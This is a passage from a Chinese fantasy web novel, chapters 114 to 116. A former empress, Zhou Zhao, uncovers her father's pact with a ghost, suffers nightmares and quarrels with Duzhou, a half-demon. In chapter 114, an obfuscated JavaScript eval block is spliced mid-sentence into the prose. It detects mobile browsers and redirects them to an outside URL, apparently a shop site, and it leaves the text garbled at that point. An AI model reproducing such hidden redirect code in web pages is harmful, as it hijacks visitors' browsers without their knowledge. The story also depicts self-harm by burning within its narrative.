“般般,你真的不会变成人吗?”周昭摸着白猫的脑袋殷切询问。 喵呜—— 般般伸了个懒腰,爪子洗了洗脸,舔了舔长腿上的毛,然后......在周昭期待的眼神中继续伸了个懒腰。 周昭叹息道:“可惜,你不会说话。”她如今想起渡舟那晚发狂的样子仍然心有余悸,从般般这里什么话都没有问出来,却在当晚等来了魇鬼丹妙。 “喂,你那是什么表情?”丹妙比周昭上回见他有些不同,具体是哪里不同,周昭一时半刻也说不上来,她定了定神:“你是说,成业或许还没死?” 丹妙转身就要走,周昭道:“等等!你接着说。” 丹妙睨她一眼,才继续说道:“当年这对鬼父子打得昏天黑地,虽然都传成业被渡舟所杀,但其实他是被镇压在无相渊底,如今死没死我就不清楚了。至于你父皇的死,确实可以算在成业头上。” 周昭一口气险些没上来:“你知道什么!我父皇他——” “你父皇跟成业做了场交易,那些银甲鬼兵由成业解决,成业想要的也很简单......”丹妙眼看着周昭脸色越来越白,很找打地笑了笑,“瞧,殿下,你心里什么都明白,何必找我坐实。成业被五马分尸,每百年都需要换一副新的身体,可如果有了毕方神血,他便不用再养着那些鬼胎,也不用时刻惦记着自己肉身腐烂。” 窗外风声愈发地紧,周昭看着丹妙的嘴唇一张一合,听不清他在说什么。 “皇儿,到父皇这儿来......” 那张周昭再熟悉不过的脸笑着,突然变了模样,血肉一寸寸从青白的皮肤剐下来,那张布满尸斑的皮淅淅沥沥往下流着血水,裹在坚硬凸出的白骨上。 白骨仍在笑:“皇儿......” 父皇他…… 竟做到了这种地步。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192050|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “醒醒!” 周昭猛地喘出一口粗气,丝丝缕缕的血腥味顺着喉管爬上来,眼前的白骨渐渐变成丹妙那张漫不经心的脸:“这就受不了了?你周昭什么事情没经历过,差不多得了。” “带我去见成业!”周昭旋即敏锐道,“不对!你是怎么知道的?” 丹妙恬不知耻地笑道:“殿下,你怕不是忘了当年皇宫寝殿,听到的那曲童谣?我别的本事不如渡舟,但入梦附魂可是好本行。” 彷佛兜头一个响雷,周昭瞬间抬头:“是你搞得鬼!你清楚槐鬼的来龙去脉?!” 砰! 她向前扑得太狠,桌脚在地板上划出刺耳的一声,丹妙灵巧地向后避开:“急什么,我只是偶然路过皇宫,在众多美梦中发现了你这么盘大菜,哪有不吃的道理。至于槐鬼......”丹妙露出鄙夷的神情:“我怎么知道那东西怎么来的。” 周昭眼底透出阴森森的幽深:“你不知道,有一个人一定知道。” 丹妙缓慢道:“......成业?我劝你莫要白费心思,无相渊不是你能进去的地方,就算是我,也颇费了一些周折。” 他提及成业时语气有些古怪,周昭尚且摸不清,丹妙便换了个懒洋洋的姿势:“再说成业当年被锁在无相渊,虽然神魂能暂时来到人界,他也绝不会用槐鬼灭国。太复杂了,成业不是喜欢这种手段的人。比起成业,你不如去找当年将成业首次镇压的那位神君。” “东华?” “唔......好像是这个名字。” 周昭盯住那双眼睛,终于发现丹妙有什么不对劲。 他在说谎。 丹妙在她面前从来都是盛气凌人,尾巴恨不得翘到天上去,此刻简直称得上“低眉顺目”。不光毫无保留地将成业之事全盘托出,甚至给她指明了一条接下来的路。 周昭不信丹妙能有如此好心。她跟着露出一个森然的笑,猝不及防道:“我说,你那位主子,不会就是东华吧?不过我倒是好奇,东华要我的心做什么?” 丹妙猛地睁大眼睛,半晌才僵硬地咧了咧唇角:“你觉得东华那种光风霁月,只存在话本子里的正派人物,会跟我这种吃人的鬼搞在一起吗?” “说不好。” 丹妙向前倾了倾,望着周昭的脸:“......也对,连咱们英明神武的皇帝陛下,都能跟我这种鬼混在一起,有什么不可能的。我走了,要是有事找我,就在睡觉前默念三遍‘丹妙大人神通广大无所不能’,再会!” 周昭真是恶心地要吐出来,丹妙走后,她将方才二人说过的话又在脑海里逐字逐句过了一遍。 “......他绝不会用槐鬼灭国。太复杂了,成业不是喜欢这种手段的人......” “你不如去找当年将成业首次镇压的那位神君......” “......东南既有瀛洲,又有蓬莱,仙家道场理应清气充盈,却有魂变这种东西从东南而来......” “最后一人看见她,是出了城往东边去了......” 周昭猛地一个激灵。 东边不止有姜国,还有东华故居——月临。 周昭十五岁那年去行人岭便觉得不对劲,行人岭瘴气遍布,疟鬼横生,那些人为何还要世代居住?后来周昭登基后也曾派人暗中查探,却总找不到那批人的来路,就好像凭空出现在这与世隔绝的山谷。 周昭蓦地发现她忽略了一个细节。 ——史书上写月临被黄沙掩埋,可若事实并非如此呢? 若坊间传闻是真……成祖皇帝嫁公主于月临,半路被凌辱致死,依成祖杀伐果断的脾性,难道不会出兵月临吗? 是夜,周昭又做起了噩梦。 她的梦翻来覆去总是差不多,要么是冷得吸一口气都像吞刀子的雪天,要么是噼里啪啦能烧掉人一层皮的大火。 浑浑噩噩光怪陆离,有向她锁魂讨命的人,也不乏从没见过的妖魔鬼怪。 这次却不同。 是个难得的好天气。眼前众人穿进穿出似鲜艳的鱼群,香风阵阵,姑娘们个个打扮得貌美,男人们喝得两颊泛红醉醺醺。 丝竹管弦为阳春白雪,敲锣打鼓也悦耳动听。绸缎鲜花铺了十里,随处可见的笑容多得简直要烂在地上。 一对新人拜天地,郎才女貌结连理。 周昭不敢贪杯,但空气里都腻着铺天盖地甜丝丝的酒味儿,一个劲儿地往她太阳穴里钻,还真是酒不醉人人自醉。 她脸上挂着淡淡的笑,新郎官儿牵着新娘子的手一桌桌敬酒,笑声把酒香发酵得更浓,周昭醉眼朦胧地转着酒杯,眼看那对小夫妻就要过来,她摇摇晃晃站起身,祝福的话早在心里想了千八百遍。 长淮,今夕得良缘,岁岁鼓瑟琴。 谢景低着头亲自为周昭斟酒,周昭在军中摸爬滚打多年,却像根一点儿没沾到泥的白萝卜,往那一站还是当年人人赞颂的殿下。 但她不知怎地,却突然起了点儿兵痞气,借着酒意像个登徒子轻轻挑起新妇子的头纱,这新妇长得可真好看,配长淮那厮绰绰有余。 她一点点掀开,先是看到小巧玲珑的嘴巴,然后是高挺白皙的鼻梁,再是—— 周昭陡然间浑身一震,酒意全无。 新妇双目空空,两行血泪顺着眼眶流下来。 115. 第 115 章 天地戛然而止,狂风不歇。 周昭再一抬首,只见喜堂之上白花高挑,杯中杜康滴滴是血,眼前陈尸不计其数。 那新妇睁着空荡荡的血眼睛冲周昭微笑,鲜红的嘴唇一张一合:“你害死了我的夫君......是你害死了我的夫君......” 不,不是我。 周昭慌忙中撞上谢景,就像溺水之中抓住一根救命稻草,声音发抖:“长淮,长......” 谢景不疾不徐地转过脸来,露出一张阴阳面,半张脸在笑,半张脸在哭。 他就这么半哭半笑地握住周昭的手,握得那么紧,不容她挣脱,一字一句道:“阿昭,你做什么这么害怕?今日是我大喜的日子,你难道不为我高兴吗?” 谢景接过新妇递来的酒杯,举到周昭面前:“阿昭,咱们自小的交情,你打算送什么贺礼给我?这杯酒,我先敬你。” 酒杯塞入手中,周昭勉强喝了,像灌了一口铁锈下肚,满嘴的腥。 谢景另一只手又握住新妇,笑着说:“来,绾绾,见过你昭姐姐。” 周昭目光茫然地侧过脸,那唤作绾绾的新妇突然间变成折杞的脸。周昭吓了一跳,折杞从袖中抽出一把锋利的匕首,大叫道:“叛徒!去死!!” 那把匕首闪着寒光刺过来,周昭下意识想躲,谢景却紧紧地抓住她不让她退:“阿昭,你躲什么?” 刀尖猛地刺进胸膛,冷风呼啸着灌进心口,周昭想喊,但是一点儿声音也发不出来,好像那匕首不仅刺进了胸膛,还割破了她的喉管。 寒风如刃,沿着破了个洞的喉咙一直钻进五脏六腑,像个破锣发出阵阵呜咽。 疼,真疼啊。 她无助地看向长淮,或是看向宁啻,攥住喜袍的手慢慢下滑,双腿越来越软,谢景却在这时候仁慈地抓住了她的胳膊。 长淮,救我,长淮...... 周昭瞪大眼睛,眼睁睁地看见谢景将插在她心上的刀拔出来,换了个位置捅进去。而后,“喜堂”上那些横七竖八死去的人纷纷从地上爬起来,一个接一个交替着握住那把刀,拔出来,插进去。 ...... 周昭“大叫”一声,然后猛地睁开眼。不过被梦魇住的人睁开眼睛并不能算是醒,就像是掉进沼泽,拔出一条腿,很快又会被底下的污泥扯住另一条。 她大睁着眼直愣愣地望着房梁,神魂却还被困在方才的梦魇里。她的眼前仍是那寡白色的喜宴和无数双赤红色的手,身上的痛感已经不再那么明显了,眼皮却沉着往下掉。 周昭凭着多年梦魇的经验,在这难得清醒的间隙明白,如果再闭上眼,那她毫无疑问又会被拽进刚才的噩梦。 周昭习惯性地去摸床头。 她此时半梦半醒,还当是帝王殿。寝殿床头总亮着一盏长明灯,这盏灯除了照明,更大的作用是能把她从梦魇里唤醒。 刀伤虽然痛,却远不如烫伤来得猛烈绵长。 再者周昭常年亲征,胳膊腿都算要放进国库里保护起来的公家财务,蜡油滚烫,滴在皮肉上位置小巧好控制,痛感也足够强,没有后遗症,是周昭琢磨出对抗梦魇这顽疾的“良药”。 此时她却摸了个空。 周昭越是摸不到,越是急躁,她控制得了精神却控制不了□□,一闭眼便是那流着血泪的新妇和她身后无数双手。 周昭咬着牙发出难忍的呜咽,手脚却不能动,好像被钉死在床上,每每她感觉自己已经坐起来了,其实全都是幻觉。 那些经年仇恨从地狱深渊里爬出来,无不虎视眈眈欲啖肉饮血。 周昭一时间肝胆皆颤,不知哪里生出的勇气,在梦魇中也咬紧牙关,一股比刚才的喜酒还要辛辣的味道蹿进口腔,有那么一瞬间周昭险些要放弃了,她想地狱也算是个不错的去处,起码那里不用再做噩梦。 她的手不动了,脚尖就快要触碰到地狱的鬼火。 这时,一个声音将她猛地从地狱里拽出来—— “殿下!醒醒!” 周昭猝然睁眼,瞳孔先是剧烈放大,继而慢慢缩小成一个墨团,那人渐渐从一个模糊的轮廓变成一张有着具体五官的脸。 她过了阵子才反应过来这是渡舟的脸,渡舟捏着她的下巴,拇指很是用力地卡住她有些麻木的嘴巴,焦急地说道:“张开嘴!” 周昭下意识地按照他的话去做,一股温热带着锈味儿的液体忽然倒灌进喉咙。渡舟一把将她整个上半身抱起,他肩膀上多出来一滩慢慢晕染开的血迹,周昭才看见那是从自己口中吐出来的。 她被呛得直咳嗽,血沫子都喷在渡舟的衣襟上,周昭听见自己的声音像破风箱:“你怎么……” “来了”这两个字还没说出口,渡舟嘶声道:“你要自戕?当着我的面?” 周昭想说她没有,她只是梦魇住了。 但她的太阳穴一抽一抽地痛,吸进嗓子里的血沫还没完全咳出来,尚未答话,便本能地嗅到了渡舟身上有什么不一样的东西。 他全身肌肉绷得死紧,像蓄势待发的野兽,那抱着自己的胳膊更像是两只冰冷的铁钳,周昭生怕他一不留神掐死自己,抬眸一看,吃了一惊—— 渡舟两只眼睛通红,眼神中愤怒、懊恼、自责、悔恨、质疑、失望等等乱七八糟的情绪全都杂糅在那双眼睛里,布满血丝,混浊得可怕。 饶是周昭自诩练就了一副刀枪不入的铁石心肠,还是被这双眼睛狠狠一震,震得险些五内俱焚。 “……不是,我……” 舌根传来一阵剧痛,周昭霎时吓得后背出了层冷汗。渡舟压抑着满身怒气质问道:“周明鸢!” 莫说这辈子,就连上辈子,都没有人这样连名带姓地叫过她。 这一嗓子直接把周昭叫懵了。 渡舟强硬地掰过她的肩膀,上一句余怒未消又紧跟着滚进下一句的情绪里:“你就这么想死吗!” 周昭本来想说她没有,但不知是渡舟这句话戳中了她哪根神经,亦或是她确实险些“咬舌自尽”所以没脸说话,便没吭声。 “看着我说话!” 好歹做过几年皇帝,周昭的火气一下就上来了,她冷着脸想甩开渡舟的手,一时没挣脱开,便就着这不上不下的姿势说道:“你有什么资格管我?” 许是刚才咬舌头咬狠了,说完这句话,周昭的头更加痛,她忍住了没发出嘶气声,眼圈儿却先被憋红了,冷声道:“你是不是以为你救了我,所以我就应该事事听你的话,如你的愿。你让我活,我就得活。你让我死,我不得不死。渡舟,你是你,我是我,我凭什么听你的?” 话一出口周昭便后悔了。但常言道说出去的话泼出去的水,就算能找块布欲盖弥彰地把水抹干净,那也是脏了,湿了。 再说周昭此时此刻脑子有点儿由不得自己做主,像钻进了一根烧火棍一刻不停地搅来搅去,搅得那些经年往事也顺杆子往上爬。 她突然开始恨渡舟当年不告而别,恨他因为神血费尽心思接近自己,这些情绪本来一直都在,只是周昭刻意把它们统统压到最底下,如今一口气说出来,自己都没察觉反倒是恨少怨多。 那股子凌厉的气势,简直就像拿着刀子比在脖子上,跟渡舟说你敢过来我就敢刺下去。 渡舟的神情本来已经软和下去,此时随之一变,半晌,目光沉沉:“殿下要寻死?好得很,可你别忘了周朝是怎么灭国的。” 周昭神情陡变,渡舟却咄咄逼人:“殿下抖什么?你怕我提起那两个字?不是因为你打了败仗,也不是因为诸国动乱,周朝,是因为槐鬼灭国。这罪魁祸首,殿下不是早就知道了吗?你想看我的本相,殿下,你真的敢看吗?” 周昭控制不住地打了个寒颤,但仅仅一瞬,就好像刚才只是个错觉,她冷冷地别开脸,闭上眼睛靠在床头,声音低得含糊不清:“我累了。” 渡舟一把抓住周昭的肩膀,怒道:“殿下,睁开眼睛看我!这就是周朝数万尸骨堆起来的一张脸!赵允城没说错,是我杀了你周朝的子民,你的百姓,只有这样我才能走出无支山,才能变得足够强大,才能杀掉我那名义上的父亲。” 周昭想堵住渡舟的嘴,让他把这些吐出来的字句都咽回去,偏偏这人喋喋不休:“当年周朝城破那晚,殿下还记得发生了什么吗?殿下记性不好,那我来告诉你。那天晚上,周朝所有的槐鬼一夜之间全都消失了,因为这些槐鬼都为我所用!我将槐鬼放在周朝的土地上养了整整五年,等的就是这一刻!钦原骨刺杀不了我,为什么,只因我是那半妖半鬼的邪物!仇人近在咫尺,你不复仇,却寻死?” 周昭虽然对渡舟有怀疑,但没到这种地步。 渡舟发狂那晚承认槐鬼与他有关,周昭冷静过后却觉得这个说法漏洞颇多。渡舟这半妖半鬼之态……更像是当年被槐鬼感染。 眼下渡舟这番话堂而皇之地说出来,可信度更加大打折扣,一看便是故意激她发火。 但心里想的是一回事儿,身体的反应又是一回事,周昭终于忍无可忍,抬手打了渡舟一个响亮的巴掌,打完只觉头晕目眩,胃里翻江倒海。 她那与生俱来的涵养仿佛都喂了狗,骂道:“疯子。” 渡舟脸上闪过一丝惊讶,随即不怒反笑,好像被骂疯子是什么得意的事情。 周昭见不得他这模样在眼前,刚才还几欲昏厥的身子突然间浑身是胆,豺狼虎豹一齐上身,冲着渡舟扑过去。 她的功夫是当年江梅棠手把手调教出来的,虽然时隔多年乍一出手,胳膊腿各是各的拧巴和生疏,但本能反应刻在骨子里。 周昭斜着一拳打过去,渡舟眼疾手快地将她拳头大的力道攥住,刚向外一压,另一道掌风便虎虎生风地往他咽喉劈去。 咽喉是动物的要害,人也一样,渡舟本来是坐在床头,这么一避便滚到床上,周昭毫不客气地扫腿踢过去,渡舟嘴上却不停:“周明鸢,你当年远赴三苗的那股劲儿呢?被狗吃了!” 周昭低喝道:“你试试!” 自周昭又回到这锦绣人间,她不知道渡舟心里怎么想的,反正她心里对渡舟一直颇有忌惮,但一方面忌惮,另一方面又念旧。 要么狠下心,干脆站到皇帝那边,把陆轻苹的身份一通交待,大不了再好好利用渡舟心中那点儿莫须有的愧疚,总能伤到这位通天彻地的妖主。 要么放下戒备,好好将当年的前因后果问过渡舟,也能得到一个也许不完整但是十有八九正确的答案。 可周昭偏偏自己心里拧巴着那股不上不下的劲儿,她谁也不肯全信,将自己藏得八面玲珑。 先是装疯卖傻跟陆轻苹换国史,再是跟小皇帝甚至梁王“串通一气”,一丁点儿风声也不向渡舟透露。 她不跟任何人交心,就算是陆轻苹也仅仅是抱着“可以利用”的心态接近,本以为算无遗策,却偏偏没算准渡舟这位身边人。 周昭不是瞎子,就算是瞎子也能感受到渡舟那时不时露出来的真情。 可惜,周昭早已是惊弓之鸟,就算她眼下快饿死了,渡舟手上刚好拿着一把诱人的谷子,她也当那双手后面藏着一根随时都会把鸟笼拉下来的引线。 她果真就像一只高傲的飞鸢,将那些个不为人道的苦果一口吞了,不食人间一两谷,戾天孤隼破苍茫。 两人在床上滚来打去,维系了足有半年多之久相安无事的表面 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“我记得他们都对殿下寄予厚望,日升月恒,鸢飞戾天......”渡舟冷冷地笑了笑,“我还知道他们必定日日夜夜出现在殿下梦中。有皇后,有你那些个皇兄,有谢景,有被殿下下令斩首的槐鬼,有战场上万千英灵......他们都看着殿下,等着你为他们报仇雪恨,等着你掀开槐树皮看看是人是鬼,等着你这位亡国君安平皇帝,好好解释解释史书上最耻辱的一笔。” 从渡舟开始说这段话起,周昭便跟个死人一样缓缓地停下不动了。 渡舟却完全没有要停下的意思:“可是,他们知道殿下一人双肩背着千古骂名吗?他们知道殿下登基之后,每晚都要点着安神香才能入睡吗?他们知道殿下鞠躬尽瘁真就死而后已,在那祭天台上被人割断咽喉流干了血吗?他们知道殿下这一身伤从何而来吗!” 渡舟虽然压着周昭,居高临下,神情却是痛苦的,痛得声音都字字发颤,他猛地拽住周昭的胳膊,将衣袖往上一推,露出雪白的小臂上触目惊心的疤痕。 周昭下意思地往后缩,想用袖子盖住那些被她亲手烫下的疤。但身下就是床板,她退无可退。 不是因为丑陋,而是周昭从来不习惯露出自己脆弱的一面。 她在战场是阵前发号施令的将军,于朝堂是喜怒不形于色的君王,这两种身份都不是能够在人前卖惨讨怜的,周昭这副女子的血肉之躯下,藏着比男儿还硬的骨头。 “除去这些殿下自残的伤,你身上一共有大小不下十处旧伤,右臂刀伤,是宣庆二十三年雪松山被当地流匪所刺。左肩箭伤,是二十五年为救手下将士被姜国人一箭射中,贯穿肩骨。左下腹险些致命,是当年——” “够了。”周昭打断他,比自己想象中还要快地冷静下来,淡淡道,“他们不需要知道。” 鸢飞累了,本以为一张口会吐出含了半辈子的苦果,谁知只是低头舔了舔伤口,那苦果早就被自个儿一声不吭地吞入腹中。 二人翻来覆去打了半天,都有些气喘。这话就像一瓢凉水,举重若轻便将此间蓄势待发,马上就要爆开的一锅沸水泼了个偃旗息鼓,只剩下一点儿不轻不重的水泡。 周昭多少年没这么发过疯,大怒大悲过后反而出乎意料的平静。 常年道治水宜疏不宜堵,那浸泡在安神香里滋养出来的骨血,经这么一通胡乱翻搅,如涓涓细流触达四肢百骸,一股恰到好处的倦意浮上眉梢。 她爬起来,正准备下逐客令,便听渡舟嘶哑着声音问:“凭什么?” 周昭感觉自己反倒是被这水泡的热气灼得吃痛,她背靠着墙闭目养神,看上去好像又恢复成处变不惊的那副尊容,嘴唇跟着动了动,却没说出话。 渡舟的手尚且攥着周昭,好半晌两个人都没说话。 过了阵子,周昭感觉渡舟似乎将她松开,她刚要抽回手,才察觉那人并没有松手,只是放轻了力道,手臂上传来一阵又痒又麻的触感。 周昭睁开眼睛,渡舟的手指正一寸寸摩挲过她那些面目狰狞的疤,语气跟他手下的力道一样,轻软得像一片薄云:“还痛吗?” 心里有什么东西轰得一声便跟着塌了,摧枯拉朽,势如破竹。 等周昭反应过来时,她才发现脸上冰冰凉凉的,伸手一摸,摸到一把潮湿。 她第一反应是血,后来才看见是泪。 周昭立刻像个鹌鹑把自己缩成一团,无比庆幸此刻不是白天,别开脸,语气生硬地瓮声瓮气道:“早不痛了。” 渡舟也像发够了疯又转了个性儿,但还是有点余韵未消的疯,抓着周昭的手臂不肯放,好像要把上面每一个疤都抚过一遍才算完。 “殿下……”渡舟叹了口气,“人活一辈子,不能总被旧事牵着走,那跟鬼有什么区别?我有时候既盼你有点儿活下去的念想,又怕你被这念想拖回到死路……当年的事他们不会怪你,也不是你的错,你尽力了。” ……周昭不知道自己是什么时候哭出声的,这于她而言太陌生了。 自从宣庆二十五年,永安门那场兵变过后,周昭再没这样畅快地哭过。 她把自己的喜怒哀乐都埋在了那个漆黑的雨夜,留下来的是杀伐果断的安平皇帝,再也没有曾经大哭大笑的周明鸢。 原来她算计来算计去,到头来求的不过是有人跟她说一句“当年的事不怪你,不是你的错”。 她哭也哭得压抑,把脸埋在膝盖上,绸缎似的长发遮住了大半张脸,眼泪一串串儿地往下掉,声音微不可闻,只是夜晚太安静,听起来竟也惊心动魄。 渡舟虽然仍抓着周昭那只胳膊,只要稍稍用力便能将她拉进怀里,但他却没动,安安静静地坐在原地握住她的手,像尊刀刻的塑像。 窗外月色尚好,千年风雪飘零。 故人已逝,世上独留一个周昭,握着一双自始自终都没放开的手,沉沉睡去。 梦中没有安神香,亦没有亡魂。 116. 第 116 章 折杞不知去向,如今的无相城群虫无首,乱作一锅粥。魂片的来源又查出些眉目,一连串事情堆在一起,渡舟神龙见首不见尾地消失了几天,周昭刚好不知如何面对他,干脆心安理得地装死。 陆轻苹有一搭没一搭地跟她说着皇帝的动向,周昭眯着眼睛撸着猫晒太阳,漫不经心地问道:“陆大人,你说钦原骨刺是槐妖的克星,你家主君怎么那么快就养好伤四处溜达去了?” 渡舟那时口不择言,说自己半妖半鬼。 鬼的那部分周昭已经清楚,妖的这部分…… 陆轻苹眼角抽了抽,懒得反驳“四处溜达”这几个字,阴阳怪气道:“你嫌主君好得太快了?也是,你恨不得把他捅个对穿。” 周昭摸猫的手一顿,掀起眼皮看了陆轻苹一眼,看的陆轻苹心里直打鼓,又听这位风吹不得雨淋不了的贵人道:“说不定,你家主子压根不是槐妖。” 周昭跟渡舟吵架那晚,虽然很多都是气话,但有一句却入了周昭的耳,“周朝所有的槐鬼一夜之间全都消失了”,这件事情周昭完全没有印象,但渡舟不会凭空瞎说。周昭很讨厌这种无能为力的感觉,她什么都想不起来。 陆轻苹眼皮跳得更狠。 他十七岁跟着渡舟,修行半路出家,全靠所谓的灵丹仙草,洗骨伐髓之类另辟蹊径,加之陆轻苹天赋异禀,才有如今修行十年抵别人百年的道行,但要让他妄议渡舟是人是鬼还是妖,那是万万没有资格的。 好在周昭很快有把注意力转移到他身上,不,这也不是件好事。不知道是不是心理作用,陆轻苹总觉得家里供着位白龙鱼服的皇帝——显然事实也差不了太多。 他虽然“身兼数职”,但当朝为官还是正儿八经做过的,一看周昭便生理性不自在。 特别是她一叫“陆大人”,陆轻苹就下意识想回一句“臣在”。 “陆大人,有件事情想……”周昭莫名其妙道,“你干嘛突然换脸?” 变成上官富贵的陆轻苹,终于远离了那加在自己牛马之身的可怕诅咒,折扇摇得煽风点火:“你说。” 周昭不理解但是尊重,继续道:“我想看看牵机营。” 上官富贵不知所以:“你不是正看着吗?” “我要看真正的牵机营,别用你不清楚你不知道来搪塞我。”周昭眉宇间压着几缕威严,“据我所知,牵机营的触手四通八达,宫里有人不必多说,你跟国师二位都是渡舟埋下的钉子。朝堂外的,有钱的商贾,有地的财主,地方上的官员……各处都安插着牵机营的人。” 这些是周昭前些日子收集来的“证据”,也正是因为她得来全不费工夫,还以为陆轻苹他们早就有所准备,故意让她交些假东西唬弄小皇帝。 结果这事儿两边都没讨到好,姑且不提。周昭最近又翻来覆去地将那些浩如烟海的线头捋直了看,发现这其中或许藏着一个惊天动地的谋划。 但周昭知道的毕竟有限,需要陆轻苹这么个营中人答疑解惑。 陆轻苹在渡舟手底下当差惯了,察言观色的本事渐长,眼角抽了抽,揣摩出几分意思:“你总不会想说牵机营谋反吧?” 周昭毫不客气地点头。 陆轻苹:“……” 周昭从陆轻苹那处连一个屁都没问出来,索性趁陆轻苹出门见客的功夫换了身衣服自己出门了。 周昭刚才的话半真半假,虽然诈陆轻苹的分量居多,但也不全是假话。 以皇帝的角度来看,牵机营就算当下安分守己,将来也定会谋反,再说当下也并不安分守己。 只是周昭想不明白,渡舟的手从无相城伸到人间,未免伸得太长。 她按照计划中先去查探了几处牵机营的房产,再是几条埋在九洲城的暗线。这些东西本该是机密,但上回周昭跟梁王合作时早摸了个一清二楚,一些关键的被她扣下,挑了些递给赵允城。 但赵允城太沉不住气,被渡舟一招回马枪打回江南躲债。 这么晃悠了几天,周昭发现渡舟虽然只手遮天,不过重心却并不在朝堂,心腹之臣只有陆轻苹跟国师二人,但军中却乌鸦一般黑,半数以上统领都跟牵机营暗地里沾边,更不必说周昭没查到的。 所谓军政二字,渡舟显然更看重前者。 赵允城的担忧也不无道理,君王卧榻之侧岂由猛虎酣睡。 不过到这里话又绕回来,渡舟到底是为什么有如此野心…… 周昭突然想到一层原因,转念又觉得不可能。 九洲城大街上照例繁华如故,并未因为那场风波带来什么影响。 平头百姓是不太关心政治的,莫说是天子离京下江南,就算是改朝换代,只要给百姓一口饭吃,日子该过还是得过,管他头顶上是哪门子青天大老爷,有太阳,能种地,就死不了。皇城底下百姓尚且如此,何况九万里神州。 风寒料峭,夕阳像被开膛破肚的太阳,流干了血,显出几分冬日的肃杀。 周昭漫无目的地沿着护城河向北走,途径从前镜妖杀人的吴记宝斋,那里牌子已经摘去,两个工头正抬着架梯子往二楼放,似乎是要重新装修。 周昭远远地看了一眼,灰尘在昏暗的阁楼里浮动,很快也要被倚在窗口拿着鸡毛掸子的仆人赶走,也许等到开春,这里便会重新开张大吉。 是啊,谁都在匆匆忙忙地朝前走。只有她还被旧事扯着往回走。朝前是暖春,朝后是寒冬。渡舟那日说得对,也不完全对,若真的让她把心里那点儿的念想一刀子剪了,她还活什么? 周昭突然停了步子,有些惊讶。 她从前想的是办完事儿便下地狱,如今竟然有些动摇,开始想怎么活下去。她心里说不上来这算好还是不好,愣在原地好半晌,腿上突然被什么软绵绵的东西不轻不重地撞了一下。 周昭低下头,一个粉雕玉琢的胖小子捏着撞碎了的糖人正要哭,不知为何,咧开一半的哭相又神奇地露出个害羞的模样,剩下收不住的鼻涕泡扑哧炸了个满堂彩。 周昭立在原地没动。 事实是这位皇帝陛下从小只有兄没有弟,从前只有她撒娇的份儿,哪有被别人上门碰瓷讨宠的。她对这种半大的团子唯一的印象,就是渡舟那张虽然可爱但是凶神恶煞的脸,属实不算什么好经历。 所以……她不知道怎么办了。 那白团子不哭也不闹,睁着一双黑葡萄一样的眼睛好奇地看她。 自己撞上来的,难道还要我赔? 周昭轻言轻语道:“放开。” 谁料不知是她那冷贯了的声线太凶还是怎地,白团子突然放声大哭,过往的人越来越多,周昭只好硬着头皮将那孩子抱起来,她抱孩子一看就是生手,那团子又恰到好处地边哭边喊娘。 有个好心的妇人走过来道:“大妹子,孩子不是你这么哄的。” “你得顺着他背心往下慢慢拍,哎不对不对……是这么着……轻点,哟!轻着点儿!这姑娘手劲儿够大的……” “第一次当娘吧?现在的小姑娘真是不像话,这孩子哭得多可怜……” 你一言我一语,周昭全凭一副刀枪不入的“铁石心肠”,才忍住了没从众人唾沫星子底下逃走。 也许是周昭听了那妇人的话掌握了哄孩子的要领,她一拍二摇的,那团子居然真的不哭了,眼巴巴地望望手里孤零零的一根竹签子,又眼巴巴地望她。 周昭出门没有带银子的习惯,随手解了块玉佩还是璎珞交给卖糖人的摊主,反正是渡舟的钱。摊主受宠若惊,递给她足有一把让人看了眼花缭乱的糖人。 周昭往那团子手里塞了一个,抬了抬下巴:“吃。” 她的语气其实不算温柔,说话也惜字如金,那团子舔了舔嘴巴,哈喇子顺着嘴角狂流,但他竟然忍住没吃,举到周昭面前,奶声奶气道:“漂亮姐姐……你、你吃……” 周昭一手抱娃,一手举着十八九串糖人,没地方躲,竟真的让那黏黏糊糊甜丝丝的东西戳到嘴边。还没完,那团子笑嘻嘻地拍手,忽然伸出两只白藕节似的手臂将她抱住,吧唧—— 在周昭左脸上亲了一口。 周昭的眼睛猝然睁大。 闹市的嘈杂声突然间奇大无比,像开了闸的洪水一泻千里,浩浩荡荡的人间烟火直往周昭耳朵里钻。 原来春日已至,春花已开,护城河鎏金如鳞,晚霞余晖似火。 周昭在这繁花似锦的春日里愣了片刻,怀里突然一轻,来人像抓猫似的拎着那团子后颈,脸比锅底还黑,周昭生怕他当真将人一顺手丢到河里,忙制止道:“慢些。” 那团子被渡舟拎着衣领悬在空中,反倒觉得好玩儿,边吃吃地笑便流涎水。一个妇人从旁蹿出来,脸都吓白了,从渡舟手里接过孩子,千恩万谢地走了。 剩下二人对视一眼,都从对方眼中看出了欲盖弥彰的尴尬。 “边走边说?”渡舟又变成那副熟悉的温柔,好像那夜发疯的不是自己。 沿着两岸抽枝发芽的河道缓步而行,渡舟低沉的声音也像氤氲在这河边的雾气里,显得不那么真切。 “瀛洲外有个不大不小的镇子,名叫红鱼镇。镇中有条清水河,上游便是澹溪。据说饥荒年间百姓一路逃荒,住在上游的神君,便往澹溪放生一种肥硕多产的红鱼,红鱼顺流而下,救了沿途无数人的性命,后来这些活下来的人在河两岸定居,红鱼镇的名字便是这么来的。” “倒是有趣。”周昭装模作样地附和一句,实际上此时此刻心中对这什么红鱼镇一点儿兴趣都没有,正后悔没有将糖人送给那团子。 “饥荒结束后,镇上的人虽然不再需要红鱼救命,却对那位神君感恩戴德,不再捕红鱼而食,而是在红鱼游过的地方修建了一座祠堂,祈福点灯,专门祭拜那位从不露面的神君。” 周昭若有若无地嗯了一声,举得手酸,正打算随机寻个狗或者猫什么的喂一喂。 渡舟侧过脸,狗模狗样地从周昭手上拿过那把糖人,扔进嘴里嘎嘣嚼了,点评道:“太甜了,牙疼。” 周昭淡淡道:“是吗?我没吃过。” 渡舟:“.....” 可惜渡舟这位传言“奢靡成性”的牵机营老大也身无分文,摸了摸身上,比脸还干净,于是拿起腰间的昆仲在掌心掂量了两下。 周昭及时止损道:“然后呢?” 